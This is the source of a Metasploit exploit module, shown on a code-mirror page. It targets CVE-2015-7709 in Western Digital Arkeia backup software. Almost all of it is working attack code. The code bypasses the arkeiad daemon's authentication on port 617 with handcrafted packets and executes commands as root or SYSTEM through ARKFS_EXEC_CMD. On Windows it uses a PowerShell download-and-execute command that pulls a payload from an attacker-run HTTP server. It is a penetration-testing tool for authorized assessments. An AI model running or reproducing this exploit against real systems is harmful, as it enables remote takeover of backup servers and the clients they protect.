/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/multi/misc/arkeia_agent_exec.rb
568 строк
17 KB
adfoster-r7
Update additional callsites
05 июн 2026, 13:39
05 июн 2026, 13:39
0a5a037
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Western Digital Arkeia Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below. The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are insufficient checks on the authentication of all clients, this can be bypassed. Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or SYSTEM privileges. The daemon is installed on both the Arkeia server as well on all the backup clients. The module has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD. }, 'Author' => [ 'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-7709' ], [ 'EDB', '37600' ], [ 'URL', 'https://seclists.org/fulldisclosure/2015/Jul/54' ] ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', } ], [ 'Linux', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'DisableNops' => true, 'Space' => 60000, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'perl python bash-tcp gawk openssl' } } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2015-07-10', 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(617), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]) ] ) end def check connect req = "\x00\x41" req << "\x00" * 5 req << "\x73" req << "\x00" * 12 req << "\xc0\xa8\x02\x74" req << "\x00" * 56 req << "\x74\x02\xa8\xc0" req << 'ARKADMIN' req << "\x00" req << 'root' req << "\x00" req << 'root' req << "\x00" * 3 req << '4.3.0-1' # version? req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect return Exploit::CheckCode::Unknown('Unexpected response from Arkeia agent') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown('Connection failed') end req = "\x00\x73" req << "\x00" * 5 req << "\x0c\x32" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown('Connection failed') end req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00" req << 'EN' # Language req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect return Exploit::CheckCode::Unknown('Connection failed') end # ARKADMIN_GET_CLIENT_INFO req = "\x00\x62\x00\x01" req << "\x00" * 3 req << "\x26" req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information req << "\x00\x32\x38" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect return Exploit::CheckCode::Unknown('Connection failed') end req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38" req << "\x00" * 12 sock.put(req) # 1st packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04" disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown('Connection failed') end # 2nd packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown('Connection failed') end # 3rd packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04" disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length && data.include?('You have successfully retrieved client information') disconnect return Exploit::CheckCode::Unknown('Connection failed') end # 4th packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04" disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown('Connection failed') end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown('Connection failed') end if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/ version = $1 vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Arkeia version detected: #{version}") if Rex::Version.new(version) <= Rex::Version.new('11.0.12') return Exploit::CheckCode::Appears("Arkeia version #{version} is vulnerable") else return Exploit::CheckCode::Safe("Arkeia version #{version} is not vulnerable") end else vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Arkeia version not detected") return Exploit::CheckCode::Unknown('Could not determine the version') end end def exploit if target.name =~ /Windows/ @down_file = rand_text_alpha(8 + rand(8)) @pl = generate_payload_exe begin Timeout.timeout(datastore['HTTP_DELAY']) { super } rescue Timeout::Error end elsif target.name =~ /Linux/ communicate(payload.encoded) return end end def primer @payload_url = get_uri # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) # is not possible on Windows agents. command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";" command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');" command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\"" communicate(command) end def communicate(command) print_status("#{Rex::Socket.to_authority(rhost, rport)} - Connecting to Arkeia daemon") connect print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending agent communication") req = "\x00\x41\x00\x00\x00\x00\x00\x70" req << "\x00" * 12 req << "\xc0\xa8\x02\x8a" req << "\x00" * 56 req << "\x8a\x02\xa8\xc0" req << 'ARKFS' req << "\x00" req << 'root' req << "\x00" req << 'root' req << "\x00" * 3 req << '4.3.0-1' # Client version ? req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet data") end req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet data") end req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID? req << "\x00" req << 'EN' # English language? req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet length") end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Unexpected length read") end req = "\x00\x62\x00\x01\x00\x02\x00\x1b" req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges req << "\x00\x31" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet length") end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Unexpected length read") end req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" req << "\x00" * 11 sock.put(req) command_length = '%02x' % command.length command_length = command_length.scan(/../).map { |x| x.hex.chr }.join req = "\x00\x64\x00\x04\x00\x04" req << [command.length].pack('n') req << command # Our command to be executed req << "\x00" print_status("#{Rex::Socket.to_authority(rhost, rport)} - Executing payload through ARKFS_EXEC_CMD") sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04" disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet data") end # 1st Packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet data") end # 2st Packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{Rex::Socket.to_authority(rhost, rport)} - Failure reading packet data") end end def on_request_uri(cli, request) print_status("Request: #{request.uri}") if request.uri == get_resource print_status('Sending payload...') send_response(cli, @pl) register_files_for_cleanup("c:\\#{@down_file}.exe") end end def autofilter true end end